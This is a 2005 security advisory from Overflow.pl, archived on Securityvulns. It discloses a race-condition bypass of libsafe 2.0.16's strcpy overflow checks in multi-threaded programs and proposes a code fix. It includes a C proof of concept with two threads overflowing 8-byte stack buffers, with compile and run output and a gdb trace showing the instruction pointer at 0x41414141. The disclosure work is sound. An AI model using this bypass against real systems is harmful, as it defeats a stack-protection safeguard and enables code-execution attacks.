[Overflow.pl] Libsafe - Safety Check Bypass Vulnerability

2005-04-16T00:00:00
ID SECURITYVULNS:DOC:8359
Type securityvulns
Reporter Securityvulns
Modified 2005-04-16T00:00:00

Description

Overflow.pl Security Advisory #2

Libsafe - Safety Check Bypass Vulnerability

URL: http://www.overflow.pl/adv/libsafebypass.txt Date: 04.05.2005

  1. Background

Libsafe is a library that protect critical elements of stacks

http://www.research.avayalabs.com/project/libsafe/

  1. Description

Attacker can bypass libsafe checking and exploit vulnerability witch is in multi-threaded aplication.

As a example look at the code situated at the safe function strcpy():

char strcpy(char dest, const char *src) { ... if (!real_strcpy) real_strcpy = (strcpy_t) getLibraryFunction("strcpy"); ... if ((max_size = _libsafe_stackVariableP(dest)) == 0) { LOG(5, "strcpy(<heap var> , <src>)\n"); return real_strcpy(dest, src); } ... if ((len = strnlen(src, max_size)) == max_size) _libsafe_die("Overflow caused by strcpy()"); ...

Function _libsafe_stackVariableP() checked length beetwen buffor and stack frame. It should return 0 only in case when address does not point to a stack variable. Look at the function code:

uint _libsafe_stackVariableP(void addr) { ... / * If _libsafe_die() has been called, then we don't need to do anymore * libsafe checking. */ if (dying) return 0; ...

Function _libsafe_die() is called then attack is detected, variable "dying" is set and at least aplication is killed. In case of multi-threaded programs, it is possible to make attack before the end of _libsafe_die(), during the time while checking is not active.

  1. Detection

Current libsafe version (2.0.16) is vulnerable.

  1. FIX

Probably the code from function _libsafe_stackVariableP can be only deleted:

if &#40;dying&#41;
  return 0;
  1. PoC

include <pthread.h>

include <stdio.h>

int ok = 0;

void func1(void none) { char buf[8]; while(1) { if(!ok) continue; strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); break; } puts("func1 overflow!"); }

void func2(void none) { char buf[8]; ok = 1; strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); puts("func2 overflow!!"); }

int main() { pthread_t t1, t2;

    pthread_create&#40;&t1, NULL, &func1, NULL&#41;;
    pthread_create&#40;&t2, NULL, &func2, NULL&#41;;

    pthread_join&#40;t1, NULL&#41;;
    pthread_join&#40;t2, NULL&#41;;

    return 0;

}

bash-2.05b$ gcc -o thread thread.c -pthread

Normal state is:

bash-2.05b$ ./thread Libsafe version 2.0.16 Detected an attempt to write across stack boundary. Terminating /home/thread. uid=500 euid=500 pid=9235 Call stack: 0x40019b1c /lib/libsafe.so.2.0.16 0x40019c4b /lib/libsafe.so.2.0.16 0x80484f5 /home/thread 0x4002dc43 /lib/tls/libpthread-2.3.3.so Overflow caused by strcpy() Killed

But then we run program many times:

bash-2.05b$ ./thread Libsafe version 2.0.16 Detected an attempt to write across stack boundary. Terminating /home/thread. uid=500 euid=500 pid=9217 func1 overflow! Call stack: 0x40019b1c /lib/libsafe.so.2.0.16 0x40019c4b /lib/libsafe.so.2.0.16 0x80484f5 /home/thread 0x4002dc43 /lib/tls/libpthread-2.3.3.so Overflow caused by strcpy() Segmentation fault (core dumped)

or ...

bash-2.05b$ ./thread func1 overflow! Segmentation fault (core dumped)

Core:

bash-2.05b$ gdb thread core.9254 ...

0 0x41414141 in ?? ()

(gdb)